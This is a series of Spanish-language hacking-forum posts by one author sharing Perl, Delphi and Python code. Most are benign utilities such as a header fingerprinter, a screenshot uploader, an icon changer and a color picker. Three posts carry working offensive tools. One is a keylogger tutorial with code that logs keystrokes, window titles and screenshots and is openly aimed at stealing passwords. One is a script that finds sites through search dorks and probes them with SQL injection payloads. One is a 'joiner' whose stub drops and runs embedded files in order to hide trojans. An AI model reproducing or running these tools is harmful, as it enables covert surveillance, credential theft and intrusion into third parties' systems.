|
191
|
Programación / Scripting / [Perl Tk] HTTP FingerPrinting 0.1
|
en: 14 Septiembre 2013, 00:36 am
|
Un simple script en Perl para HTTP FingerPrinting o por lo menos lo intenta xDD. El codigo : #!usr/bin/perl #HTTP FingerPrinting 0.1 #Coded By Doddy H use LWP::UserAgent; my $nave = LWP::UserAgent->new; $nave->agent( "Mozilla/5.0 (Windows; U; Windows NT 5.1; nl; rv:1.8.1.12) Gecko/20080201Firefox/2.0.0.12" ); print "\n-- == HTTP FingerPrinting 0.1 == --\n"; unless ( $ARGV[0] ) { print "\n[+] Sintax : $0 <page> < -fast / -full >\n"; } else { print "\n[+] Getting Data ...\n"; my $code = $nave->get( $ARGV[0] ); print "\n----------------------------------------------\n"; if ( $ARGV[1] eq "-full" ) { print $code->headers()->as_string(); } else { print "\n[+] Date : " . $code->header('date'); print "\n[+] Server : " . $code->header('server'); print "\n[+] Connection : " . $code->header('connection'); print "\n[+] Content-Type : " . $code->header('content-type'); } print "\n----------------------------------------------\n"; } print "\n[+] Coded By Doddy H\n"; #The End ?
Tambien hice una version grafica : Una imagen : El codigo : #!usr/bin/perl #HTTP FingerPrinting 0.1 #Version Tk #Coded By Doddy H use Tk; use LWP::UserAgent; if ( $^O eq 'MSWin32' ) { use Win32::Console; Win32::Console::Free(); } my $nave = LWP::UserAgent->new; $nave->agent( "Mozilla/5.0 (Windows; U; Windows NT 5.1; nl; rv:1.8.1.12) Gecko/20080201Firefox/2.0.0.12" ); my $background_color = "black"; my $foreground_color = "green"; my $ven = MainWindow->new( -background => $background_color, -foreground => $foreground_color ); $ven->title("HTTP FingerPrinting 0.1 (C) Doddy Hackman 2013"); $ven->geometry("430x340+20+20"); $ven->resizable( 0, 0 ); $ven->Label( -background => $background_color, -foreground => $foreground_color, -text => "Target : ", -font => "Impact" )->place( -x => 20, -y => 20 ); my $target = $ven->Entry( -background => $background_color, -foreground => $foreground_color, -width => 30, -text => "http://www.petardas.com" )->place( -x => 80, -y => 25 ); $ven->Button( -command => \&fast, -activebackground => $foreground_color, -background => $background_color, -foreground => $foreground_color, -text => "Fast", -width => 10 )->place( -x => 270, -y => 25 ); $ven->Button( -command => \&full, -activebackground => $foreground_color, -background => $background_color, -foreground => $foreground_color, -text => "Full", -width => 10 )->place( -x => 345, -y => 25 ); $ven->Label( -background => $background_color, -foreground => $foreground_color, -text => "OutPut", -font => "Impact" )->place( -x => 175, -y => 70 ); my $output = $ven->Text( -background => $background_color, -foreground => $foreground_color, -width => 55, -heigh => 15 )->place( -x => 18, -y => 100 ); MainLoop; sub fast { $output->delete( "0.1", "end" ); my $code = $nave->get( $target->get ); $output->insert( "end", "[+] Date : " . $code->header('date') ); $output->insert( "end", "\n[+] Server : " . $code->header('server') ); $output->insert( "end", "\n[+] Connection : " . $code->header('connection') ); $output->insert( "end", "\n[+] Content-Type : " . $code->header('content-type') ); } sub full { $output->delete( "0.1", "end" ); my $code = $nave->get( $target->get ); $output->insert( "end", $code->headers()->as_string() ); } #The End ?
|
|
|
192
|
Seguridad Informática / Análisis y Diseño de Malware / [Delphi] Creacion de un Keylogger
|
en: 9 Septiembre 2013, 18:21 pm
|
[Titulo] : Creacion de un Keylogger [Lenguaje] : Delphi [Autor] : Doddy Hackman [Temario] -- =================-------- 0x01 : Introduccion 0x02 : Capturar teclas 0x03 : Capturar ventanas 0x04 : Capturar pantalla 0x05 : Testeando -- =================-------- 0x01 : Introduccion Bueno , voy a empezar esta manual sobre como hacer un keylogger en delphi , yo estoy usando la version 2010 de delphi. Un keylogger es un programa que graba de forma oculta las teclas que escribe el usuario , en otras palabras , se usa para capturar contraseñas. En esta manual veremos como capturar teclas , ventanas y hacer capturas de pantalla en delphi. 0x02 : Capturar teclas Para comenzar creemos un proyecto normal en delphi de la siguiente manera : File->New->VCL Forms Application , como en la siguiente imagen. Una vez hecho agregamos un memo y tres timers al formulario como en la imagen : Una vez hecho esto hacemos doble click en el primer timer y agregamos este codigo al mismo. procedure TForm1.Timer1Timer(Sender: TObject); var i: integer; // Declaramos la variable i como entero re: Longint; // Declaramos la variable re como longint mayus: integer; // Declaramos la variable mayus como entero begin if (GetKeyState(20) = 0) then // Si se presiona mayus begin mayus := 32; // Le ponemos el valor de 32 a la variable mayus end else begin mayus := 0; // Le ponemos el valor de 0 la variable mayus end; for i := 65 to 90 do // Un for para detectar las teclas de la A hasta la Z begin re := GetAsyncKeyState(i); // Usamos la variable re para detectar si la tecla fue usada If re = -32767 then // Contolamos que la variable re sea igual a -32767 Begin Memo1.Text := Memo1.Text + Chr(i + mayus); // Escribimos en el memo usando chr en la suma de la letra // Mas la variabe mayus End; end; end;
Una imagen con todo el codigo comentado : Con esto ya tenemos para capturar las teclas. 0x03 : Capturar ventanas Aca es donde se me complico un poco , para empezar tenemos que agregar en "private" que se encuentra al inicio del codigo lo siguiente : private Nombre2: string;
Con este declaramos el nombre de la ventana que es nombre2 como privado. Ahora tenemos que hacer doble click al segundo timer y poner el siguiente codigo : procedure TForm1.Timer2Timer(Sender: TObject); var ventana1: array [0 .. 255] of char; // Declaramos ventana1 como array of char nombre1: string; // Declaramos nombre1 como string // Add : // private // Nombre2: string; begin GetWindowText(GetForegroundWindow, ventana1, SizeOf(ventana1)); // Capturamos el nombre de la // ventana nombre1 := ventana1; // nombre1 tendra el valor de ventana1 if not(nombre1 = nombre2) then // Si nombre1 no es nombre2 ........ begin nombre2 := nombre1; // nombre2 tendra el valor de nombre1 Memo1.Lines.Add(nombre2); // agregamos al memo el valor de nombre2 end; end;
Una imagen con el codigo comentado : Eso seria la parte de capturar ventanas. 0x04 : Capturar pantalla Ahora vamos a la parte mas facil , voy a usar como ejemplo un codigo que hice para un programa llamado "DH ScreenShoter" que hice en este mismo lenguaje. Lo primero que hay que hacer es agregar Jpeg en "uses" al inicio del codigo. Ahora hacemos doble click en el tercer timer y agregamos este codigo : procedure TForm1.Timer3Timer(Sender: TObject); var foto1: TBitmap; // Declaramos foto1 como TBitmap; foto2: TJpegImage; // Declaramos foto2 como TJpegImage ventana: HDC; // Declaramos aca como HDC begin // Agregar "Jpeg" a "uses" ventana := GetWindowDC(GetDesktopWindow); // Capturamos ventana actual en aca foto1 := TBitmap.Create; // Iniciamos foto1 como TBitmap foto1.PixelFormat := pf24bit; // Establecemos el pixel format foto1.Height := Screen.Height; // Capturamos el tamaño foto1.Width := Screen.Width; // Capturamos el tamaño BitBlt(foto1.Canvas.Handle, 0, 0, foto1.Width, foto1.Height, ventana, 0, 0, SRCCOPY); // Tomamos la foto con los datos antes usados foto2 := TJpegImage.Create; // Iniciamos foto2 como TJpegImage foto2.Assign(foto1); // Asignamos foto1 en foto2 foto2.CompressionQuality := 60; // Establecemos la calidad de la imagen foto2.SaveToFile(IntToStr(Random(100)) + '.jpg'); // Guardamos la foto tomada // con un valor numerico // aleatorio mas el formato // '.jpg' end;
Una imagen con el codigo comentado : Despues de esto tenemos que configurar el "interval" del timer3 a "5000" , que en realidad es para que el timer funcione cada 5 segundos. Con esto ya terminamos la parte de capturar las imagenes. Ahora vamos a probar todo. 0x05 : Testeando Una vez terminado todo establecemos los tres timers en true en la parte "Enabled" de la configuracion de los timers. Bien ahora voy a mostrarles una imagen de ejemplo : Como pueden ver en la imagen , el keylogger detecto la ventana actual que es "Form1" (el programa mismo) y tambien detecta bien las minusculas y mayusculas cuando escribi "HolaMundo" Tambien cada 5 segundos sacaba una foto como esta : Eso seria todo. El manual esta disponible en PDF aca. --========-- The End ? --========--
|
|
|
193
|
Programación / Programación General / [Delphi] DH ScreenShoter 0.1
|
en: 6 Septiembre 2013, 18:58 pm
|
Un simple programa para sacar un screenshot y subir la imagen a imageshack. Una imagen : El codigo : // DH Screenshoter 0.1 // Coded By Doddy H // Credits // Based on : http://forum.codecall.net/topic/60613-how-to-capture-screen-with-delphi-code/ unit dh; interface uses Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms, Dialogs, sSkinManager, StdCtrls, sGroupBox, ComCtrls, sStatusBar, sLabel, sCheckBox, sEdit, sButton, acPNG, ExtCtrls, Jpeg, ShellApi, IdMultipartFormData, PerlRegEx, IdBaseComponent, IdComponent, IdTCPConnection, IdTCPClient, IdHTTP; type TForm1 = class(TForm) sSkinManager1: TsSkinManager; sGroupBox1: TsGroupBox; sStatusBar1: TsStatusBar; sCheckBox1: TsCheckBox; sEdit1: TsEdit; sCheckBox2: TsCheckBox; sEdit2: TsEdit; sLabel1: TsLabel; sCheckBox3: TsCheckBox; sGroupBox2: TsGroupBox; sEdit3: TsEdit; sGroupBox3: TsGroupBox; sButton1: TsButton; sButton2: TsButton; sButton3: TsButton; sButton4: TsButton; sCheckBox4: TsCheckBox; Image1: TImage; IdHTTP1: TIdHTTP; PerlRegEx1: TPerlRegEx; procedure sButton3Click(Sender: TObject); procedure sButton4Click(Sender: TObject); procedure sButton2Click(Sender: TObject); procedure sButton1Click(Sender: TObject); procedure FormCreate(Sender: TObject); private { Private declarations } public { Public declarations } end; var Form1: TForm1; implementation {$R *.dfm} procedure capturar(nombre: string); var imagen2: TJpegImage; imagen1: TBitmap; aca: HDC; begin aca := GetWindowDC(GetDesktopWindow); imagen1 := TBitmap.Create; imagen1.PixelFormat := pf24bit; imagen1.Height := Screen.Height; imagen1.Width := Screen.Width; BitBlt(imagen1.Canvas.Handle, 0, 0, imagen1.Width, imagen1.Height, aca, 0, 0, SRCCOPY); imagen2 := TJpegImage.Create; imagen2.Assign(imagen1); imagen2.CompressionQuality := 60; imagen2.SaveToFile(nombre); end; procedure TForm1.FormCreate(Sender: TObject); var dir: string; begin sSkinManager1.SkinDirectory := ExtractFilePath(Application.ExeName) + 'Data'; sSkinManager1.SkinName := 'cold'; sSkinManager1.Active := True; dir := ExtractFilePath(Application.ExeName) + '/captures'; if not(DirectoryExists(dir)) then begin CreateDir(dir); end; ChDir(dir); end; procedure TForm1.sButton1Click(Sender: TObject); var fecha: TDateTime; fechafinal: string; nombrefecha: string; i: integer; datos: TIdMultiPartFormDataStream; code: string; begin fecha := now(); fechafinal := DateTimeToStr(fecha); nombrefecha := fechafinal + '.jpg'; nombrefecha := StringReplace(nombrefecha, '/', ':', [rfReplaceAll, rfIgnoreCase]); nombrefecha := StringReplace (nombrefecha, ' ', '', [rfReplaceAll, rfIgnoreCase]); nombrefecha := StringReplace(nombrefecha, ':', '_', [rfReplaceAll, rfIgnoreCase]); if (sCheckBox2.Checked) then begin for i := 1 to StrToInt(sEdit2.text) do begin sStatusBar1.Panels[0].text := '[+] Taking picture on : ' + IntToStr(i) + ' seconds '; Form1.sStatusBar1.Update; Sleep(i * 1000); end; end; Form1.Hide; Sleep(1000); if (sCheckBox1.Checked) then begin capturar(sEdit1.text); end else begin capturar(nombrefecha); end; Form1.Show; sStatusBar1.Panels[0].text := '[+] Photo taken'; Form1.sStatusBar1.Update; if (sCheckBox3.Checked) then begin sStatusBar1.Panels[0].text := '[+] Uploading ...'; Form1.sStatusBar1.Update; datos := TIdMultiPartFormDataStream.Create; datos.AddFormField('key', 'Fuck You'); if (sCheckBox1.Checked) then begin datos.AddFile('fileupload', sEdit1.text, 'application/octet-stream'); end else begin datos.AddFile('fileupload', nombrefecha, 'application/octet-stream'); end; datos.AddFormField('format', 'json'); code := IdHTTP1.Post('http://post.imageshack.us/upload_api.php', datos); PerlRegEx1.Regex := '"image_link":"(.*?)"'; PerlRegEx1.Subject := code; if PerlRegEx1.Match then begin sEdit3.text := PerlRegEx1.SubExpressions[1]; sStatusBar1.Panels[0].text := '[+] Done'; Form1.sStatusBar1.Update; end else begin sStatusBar1.Panels[0].text := '[-] Error uploading'; Form1.sStatusBar1.Update; end; end; if (sCheckBox4.Checked) then begin if (sCheckBox1.Checked) then begin ShellExecute(Handle, 'open', Pchar(sEdit1.text), nil, nil, SW_SHOWNORMAL); end else begin ShellExecute(Handle, 'open', Pchar(nombrefecha), nil, nil, SW_SHOWNORMAL); end; end; end; procedure TForm1.sButton2Click(Sender: TObject); begin sEdit3.SelectAll; sEdit3.CopyToClipboard; end; procedure TForm1.sButton3Click(Sender: TObject); begin ShowMessage('Contact to lepuke[at]hotmail[com]'); end; procedure TForm1.sButton4Click(Sender: TObject); begin Form1.Close(); end; end. // The End ?
Si quieren bajar el programa lo pueden hacer de aca.
|
|
|
194
|
Programación / Scripting / [Python-Android] BingHack Tool 0.1
|
en: 1 Septiembre 2013, 21:19 pm
|
Un simple script en Python para Android con el fin de buscar paginas vulnerables a SQLI usando Bing. El codigo : #!usr/bin/python #BingHack Tool 0.1 #Android Version #(C) Doddy Hackman 2013 import android,urllib2,re nave = urllib2.build_opener() nave.add_header = [('User-Agent','Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.5) Gecko/2008120122 Firefox/3.0.5')] def toma(web) : nave = urllib2.Request(web) nave.add_header('User-Agent','Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.5) Gecko/2008120122 Firefox/3.0.5'); op = urllib2.build_opener() return op.open(nave).read() def sql(webs): respuesta = "" for web in webs : if re.findall("=",web): web = re.split("=",web) web = web[0]+"=" try: code = toma(web+"-1+union+select+1--") if (re.findall("The used SELECT statements have a different number of columns",code,re.I)): respuesta = respuesta + "[SQLI] : "+web+"\n" except: pass return respuesta def limpiar(pag): limpia = [] for p in pag: if p not in limpia: limpia.append(p) return limpia def buscar(dork,count): respuesta = "" pag = [] s = 10 while s <= int(count): try: code = toma("http://www.bing.com/search?q="+str(dork)+"&first="+str(s)) d = re.findall("<h3><a href=\"(.*?)\"",code,re.I) s += 10 for a in d: pag.append(a) except: pass pag = limpiar(pag) return pag aplicacion = android.Android() def menu(): aplicacion.dialogCreateAlert("BingHack Tool 0.1") aplicacion.dialogSetItems(["Search","About","Exit"]) aplicacion.dialogShow() re = aplicacion.dialogGetResponse().result re2 = re["item"] if re2==0: red = aplicacion.dialogGetInput("BingHack Tool 0.1","Write the dork") dork = str(red[1]) red = aplicacion.dialogGetInput("BingHack Tool 0.1","Write the number of pages to search") paginas = str(red[1]) aplicacion.dialogCreateSpinnerProgress("BingHack Tool 0.1","Searching ...") aplicacion.dialogShow() founds = "" rez = "" rtafinal = "" founds = buscar(dork,paginas) aplicacion.dialogDismiss() aplicacion.dialogCreateSpinnerProgress("BingHack Tool 0.1","Scanning ...") aplicacion.dialogShow() rez = sql(founds) if len(rez) == 0 : rtafinal = "[-] Not Found" else : rtafinal = "[++] Pages Founds\n\n" rtafinal = rtafinal + rez rtafinal = rtafinal + "\n[++] Finished\n" aplicacion.dialogDismiss() aplicacion.dialogCreateAlert("BingHack Tool 0.1",rtafinal) aplicacion.dialogSetPositiveButtonText("Done") aplicacion.dialogShow() op = aplicacion.dialogGetResponse().result if op["which"] == "positive" : menu() if re2==1 : aplicacion.dialogCreateAlert("BingHack Tool 0.1","(C) Doddy Hackman 2013") aplicacion.dialogSetPositiveButtonText("Done") aplicacion.dialogShow() re3 = aplicacion.dialogGetResponse().result if re3["which"] == "positive" : menu() if re3==2: aplicacion.exit() menu() # The End ?
Eso es todo.
|
|
|
196
|
Programación / Scripting / Re: Don't Worry
|
en: 31 Agosto 2013, 22:51 pm
|
electro , yo probe el codigo y si funciona , no me tiro ningun error , ba , me aburri de ver tantas caras felices y cancele el programa xD.
|
|
|
197
|
Programación / Programación General / [Delphi] DH Icon Changer 0.1
|
en: 30 Agosto 2013, 20:31 pm
|
Un simple programa para cambiar el icono de otro programa. Una imagen : El codigo : // DH Icon Changer 0.1 // Coded By Doddy H // Based on IconChanger By Chokstyle // Thanks to Chokstyle unit icon; interface uses Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms, Dialogs, StdCtrls, sButton, sEdit, sGroupBox, sSkinManager, ComCtrls, sStatusBar, ExtCtrls, madRes, jpeg, sCheckBox; type TForm1 = class(TForm) sSkinManager1: TsSkinManager; sGroupBox1: TsGroupBox; sEdit1: TsEdit; sButton1: TsButton; sGroupBox2: TsGroupBox; sGroupBox3: TsGroupBox; sButton2: TsButton; sButton3: TsButton; sButton4: TsButton; sStatusBar1: TsStatusBar; OpenDialog1: TOpenDialog; sGroupBox4: TsGroupBox; Image1: TImage; sButton5: TsButton; OpenDialog2: TOpenDialog; Image2: TImage; sEdit2: TsEdit; procedure sButton1Click(Sender: TObject); procedure FormCreate(Sender: TObject); procedure sButton5Click(Sender: TObject); procedure sButton2Click(Sender: TObject); procedure sButton4Click(Sender: TObject); procedure sButton3Click(Sender: TObject); private { Private declarations } public { Public declarations } end; var Form1: TForm1; implementation {$R *.dfm} procedure TForm1.FormCreate(Sender: TObject); begin sSkinManager1.SkinDirectory := ExtractFilePath(Application.ExeName) + 'Data'; sSkinManager1.SkinName := 'falloutstyle'; sSkinManager1.Active := True; OpenDialog1.InitialDir := GetCurrentDir; OpenDialog2.InitialDir := GetCurrentDir; OpenDialog2.Filter := 'ICO|*.ico|'; end; procedure TForm1.sButton1Click(Sender: TObject); begin if OpenDialog1.Execute then begin sEdit1.Text := OpenDialog1.FileName; end; end; procedure TForm1.sButton2Click(Sender: TObject); var op: string; change: dword; valor: string; begin valor := IntToStr(128); op := InputBox('Backup', 'Backup ?', 'Yes'); if op = 'Yes' then begin CopyFile(PChar(sEdit1.Text), PChar(ExtractFilePath(Application.ExeName) + 'backup' + ExtractFileExt(sEdit1.Text)), True); end; try begin change := BeginUpdateResourceW(PWideChar(wideString(sEdit1.Text)), false); LoadIconGroupResourceW(change, PWideChar(wideString(valor)), 0, PWideChar (wideString(sEdit2.Text))); EndUpdateResourceW(change, false); sStatusBar1.Panels[0].Text := '[+] Changed !'; Form1.sStatusBar1.Update; end; except begin sStatusBar1.Panels[0].Text := '[-] Error'; Form1.sStatusBar1.Update; end; end; end; procedure TForm1.sButton4Click(Sender: TObject); begin Form1.Close(); end; procedure TForm1.sButton5Click(Sender: TObject); begin if OpenDialog2.Execute then begin Image1.Picture.LoadFromFile(OpenDialog2.FileName); sEdit2.Text := OpenDialog2.FileName; end; end; procedure TForm1.sButton3Click(Sender: TObject); begin ShowMessage('Credits : Based on IconChanger By Chokstyle' + #13#10 + #13#10 + 'Contact to lepuke[at]hotmail[com]'); end; end. // The End ?
Si quieren bajar el programa lo pueden hacer de aca.
|
|
|
198
|
Programación / Programación General / [Delphi] Creacion de un Joiner
|
en: 29 Agosto 2013, 01:16 am
|
[Titulo] : Creacion de un Joiner [Lenguaje] : Delphi [Autor] : Doddy Hackman [Temario] -- =================-------- 0x01 : Introduccion 0x02 : Creacion del generador 0x03 : Creacion del stub 0x04 : Probando el Joiner -- =================-------- 0x01 : Introduccion Bueno , voy a empezar este manual que hice sobre como crear un joiner en delphi , me costo mucho encontrar un codigo en delphi sobre un joiner basico que mi limitada comprensión puediera entender, para hacer este manual me base en el codigo "Ex Binder v0.1" hecho por TM. ¿ Que es un Joiner ? Un joiner es un programa para juntar dos o mas archivos en uno solo , normalmente se usa para camuflar el server de algun troyano o algun virus. ¿ Que es un stub ? El stub es el que generara los archivos que juntamos en el joiner y estan "guardados" en este ejecutable. 0x02 : Creacion del generador Para empezar creamos un proyecto normal de la siguiente forma : File->New->VCL Forms Application , como en la siguiente imagen. Una vez creado , creamos dos cajas edit y un boton como en la imagen : Entonces hacemos doble click en el boton creado para poner el siguiente codigo en el boton. procedure TForm1.Button1Click(Sender: TObject); var archivo1: string; // Declaramos la variable archivo1 como string archivo2: string; // Declaramos la variable archivo2 como string uno: DWORD; // Declaramos la variable uno como dword tam: DWORD; // Declaramos la variable tam como dword dos: DWORD; // Declaramos la variable dos como dword tres: DWORD; // Declaramos la variable tres como dword todo: Pointer; // Declaramos la variable todo como pointer begin uno := BeginUpdateResource(PChar('tub.exe'), True); // Iniciamos la actualizacion del recurso en el archivo tub.exe archivo1 := UpperCase(ExtractFileName(Edit1.Text)); // Declaramos el archivo1 como el nombre del primer archivo dos := CreateFile(PChar(Edit1.Text), GENERIC_READ, FILE_SHARE_READ, nil, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, 0); // Cargamos el primer archivo tam := GetFileSize(dos, nil); // Capturamos el tamaño GetMem(todo, tam); // Capturamos la memoria ReadFile(dos, todo^, tam, tres, nil); // Capturamos el contenido CloseHandle(dos); // Cerramos el archivo UpdateResource(uno, RT_RCDATA, PChar(archivo1), MAKEWord(LANG_NEUTRAL, SUBLANG_NEUTRAL), todo, tam); // Actualizamos los recursos con los datos del archivo abierto archivo2 := UpperCase(ExtractFileName(Edit2.Text)); // Declaramos el archivo2 como el nombre del segundo archivo dos := CreateFile(PChar(Edit2.Text), GENERIC_READ, FILE_SHARE_READ, nil, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, 0); tam := GetFileSize(dos, nil); // Capturamos el tamaño GetMem(todo, tam); // Capturamos la memoria ReadFile(dos, todo^, tam, tres, nil); // Capturamos el contenido CloseHandle(dos); // Cerramos el archivo UpdateResource(uno, RT_RCDATA, PChar(archivo2), MAKEWord(LANG_NEUTRAL, SUBLANG_NEUTRAL), todo, tam); // Actualizamos los recursos con los datos del archivo abierto EndUpdateResource(uno, False); // Finalizamos la actualizacion del recurso end;
Una imagen del codigo comentado. 0x03 : Creacion del stub Ahora vamos a crear una Console Application de la siguiente forma : File->New->VCL Forms Application->Other->Console , como en la imagen : Una vez hecho copiamos el siguiente codigo : program stub; uses Windows, ShellApi; // Cargamos los modulos necesarios function start(tres: THANDLE; cuatro, cinco: PChar; seis: DWORD): BOOL; stdcall; // Empieza la funcion con los parametros var data: DWORD; // Declaramos como DWORD la variable data uno: DWORD; // Declaramos como DWORD la variable uno dos: DWORD; // Declaramos como DWORD la variable dos begin Result := True; // Retornamos true en la funcion data := FindResource(0, cinco, cuatro); // La variable data guarda la busqueda de recursos uno := CreateFile(PChar('c:/' + cinco), GENERIC_WRITE, FILE_SHARE_WRITE, nil, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, 0); // Creamos el archivo WriteFile(uno, LockResource(LoadResource(0, data))^, SizeOfResource(0, data), dos, nil); // Escribimos en el archivo creado CloseHandle(uno); // Cerramos ShellExecute(0, 'open', PChar('c:/' + cinco), nil, nil, SW_SHOWNORMAL); // Ejecutamos el archivo end; begin EnumResourceNames(0, RT_RCDATA, @start, 0); // Funcion para cargar los archivos del joiner end.
Una imagen del codigo comentado. 0x04 : Probando el Joiner Para el probar el joiner voy a usar dos archivos : una imagen del perro coraje y un archivo de texto que solo contiene un "hola mundo" Primero cargamos el generador : Pulsamos el boton y cargamos el tub.exe (el ejecutable del proyecto del stub) generado. Eso es todo. El manual esta disponible en PDF aca. --========-- The End ? --========--
|
|
|
199
|
Programación / Programación General / [Delphi] DH GetColor
|
en: 23 Agosto 2013, 18:44 pm
|
Un simple programa para buscar el color de un pixel. Una imagen : El codigo : // DH GetColor 0.1 // Coded By Doddy H // Credits : // Based on : http://stackoverflow.com/questions/15155505/get-pixel-color-under-mouse-cursor-fast-way // Based on : http://www.coldtail.com/wiki/index.php?title=Borland_Delphi_Example_-_Show_pixel_color_under_mouse_cursor unit get; interface uses Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms, Dialogs, ExtCtrls, StdCtrls, sSkinManager, sGroupBox, sEdit, sLabel, ComCtrls, sStatusBar, acPNG, sMemo, Clipbrd; type TForm1 = class(TForm) Timer1: TTimer; sSkinManager1: TsSkinManager; sGroupBox1: TsGroupBox; Shape1: TShape; sLabel1: TsLabel; sLabel2: TsLabel; sStatusBar1: TsStatusBar; sGroupBox2: TsGroupBox; Image1: TImage; sLabel3: TsLabel; procedure Timer1Timer(Sender: TObject); procedure FormCreate(Sender: TObject); procedure FormKeyUp(Sender: TObject; var Key: Word; Shift: TShiftState); private capturanow: HDC; { Private declarations } public { Public declarations } end; var Form1: TForm1; implementation {$R *.dfm} procedure TForm1.FormCreate(Sender: TObject); begin sSkinManager1.SkinDirectory := ExtractFilePath(Application.ExeName) + 'Data'; sSkinManager1.SkinName := 'cold'; sSkinManager1.Active := True; sLabel3.Caption := 'This program is used to' + #13 + 'find the color of a pixel' + #13 + #13 + 'Use control + v to copy' + #13 + 'the color to the clipboard' + #13 + #13 + #13 + 'The End ?'; capturanow := GetDC(0); if (capturanow <> 0) then Timer1.Enabled := True; end; procedure TForm1.FormKeyUp(Sender: TObject; var Key: Word; Shift: TShiftState); begin if (Shift = [ssCtrl]) and (Key = 86) then begin Clipboard().AsText := sLabel2.Caption; sStatusBar1.Panels[0].Text := '[+] Color copied to clipboard'; Form1.sStatusBar1.Update; end; end; procedure TForm1.Timer1Timer(Sender: TObject); var aca: TPoint; color: TColor; re: string; begin if GetCursorPos(aca) then begin color := GetPixel(capturanow, aca.x, aca.y); Shape1.Brush.color := color; re := '#' + IntToHex(GetRValue(color), 2) + IntToHex(GetGValue(color), 2) + IntToHex(GetBValue(color), 2); sLabel2.Caption := re; sStatusBar1.Panels[0].Text := '[+] Finding colors ...'; Form1.sStatusBar1.Update; end; end; end. // The End ?
Si quieren bajar el programa lo pueden hacer de aca.
|
|
|
200
|
Programación / Scripting / [Python-Android] LocateIP 0.1
|
en: 19 Agosto 2013, 20:19 pm
|
El primer script que hice en python para android. El codigo : # !usr/bin/python # LocateIP 0.1 (C) Doddy Hackman 2013 # Android Version import android,urllib2,re,socket aplicacion = android.Android() nave = urllib2.build_opener() nave.add_header = [('User-Agent','Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.5) Gecko/2008120122 Firefox/3.0.5')] def toma(web) : nave = urllib2.Request(web) nave.add_header('User-Agent','Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.5) Gecko/2008120122 Firefox/3.0.5'); op = urllib2.build_opener() return op.open(nave).read() def search(pagina): respuesta = "" ip = socket.gethostbyname(str(pagina)) code = toma("http://www.melissadata.com/lookups/iplocation.asp?ipaddress="+ip) respuesta = respuesta + "[++] IP Address Location\n" if (re.findall("City<\/td><td align=(.*)><b>(.*)<\/b><\/td>",code)): rex = re.findall("City<\/td><td align=(.*)><b>(.*)<\/b><\/td>",code) city = rex[0][1] respuesta = respuesta + "\n[++] City : "+city else: respuesta = respuesta + "\n[++] City : Not Found" if (re.findall("Country<\/td><td align=(.*)><b>(.*)<\/b><\/td>",code)): rex = re.findall("Country<\/td><td align=(.*)><b>(.*)<\/b><\/td>",code) country = rex[0][1] respuesta = respuesta + "\n[++] Country : "+country else: respuesta = respuesta + "\n[++] Country : Not Found" if (re.findall("State or Region<\/td><td align=(.*)><b>(.*)<\/b><\/td>",code)): rex = re.findall("State or Region<\/td><td align=(.*)><b>(.*)<\/b><\/td>",code) state = rex[0][1] respuesta = respuesta + "\n[++] State : "+state else: respuesta = respuesta + "\n[++] State : Not Found" code = toma("http://www.ip-adress.com/reverse_ip/"+ip) if (re.findall("whois\/(.*?)\">Whois",code)): rex = re.findall("whois\/(.*?)\">Whois",code) respuesta = respuesta + "\n\n[++] DNS Founds\n" for dns in rex: respuesta = respuesta + "\n[+] "+dns return respuesta def menu(): aplicacion.dialogCreateAlert("LocateIP 0.1") aplicacion.dialogSetItems(["Search","About","Exit"]) aplicacion.dialogShow() re = aplicacion.dialogGetResponse().result re2 = re["item"] if re2==0: red = aplicacion.dialogGetInput("LocateIP 0.1","Target") ref = str(red[1]) aplicacion.dialogCreateSpinnerProgress("LocateIP 0.1","Searching ...") aplicacion.dialogShow() don = search(ref) aplicacion.dialogDismiss() aplicacion.dialogCreateAlert("LocateIP 0.1",don) aplicacion.dialogSetPositiveButtonText("Done") aplicacion.dialogShow() op = aplicacion.dialogGetResponse().result if op["which"] == "positive" : menu() if re2==1 : aplicacion.dialogCreateAlert("LocateIP 0.1","(C) Doddy Hackman 2013") aplicacion.dialogSetPositiveButtonText("Done") aplicacion.dialogShow() re3 = aplicacion.dialogGetResponse().result if re3["which"] == "positive" : menu() if re3==2: aplicacion.exit() menu() # The End ?
Les dejo unas imagenes de como funciona en mi tablet argos. Eso es todo.
|
|
|
|
|
|
|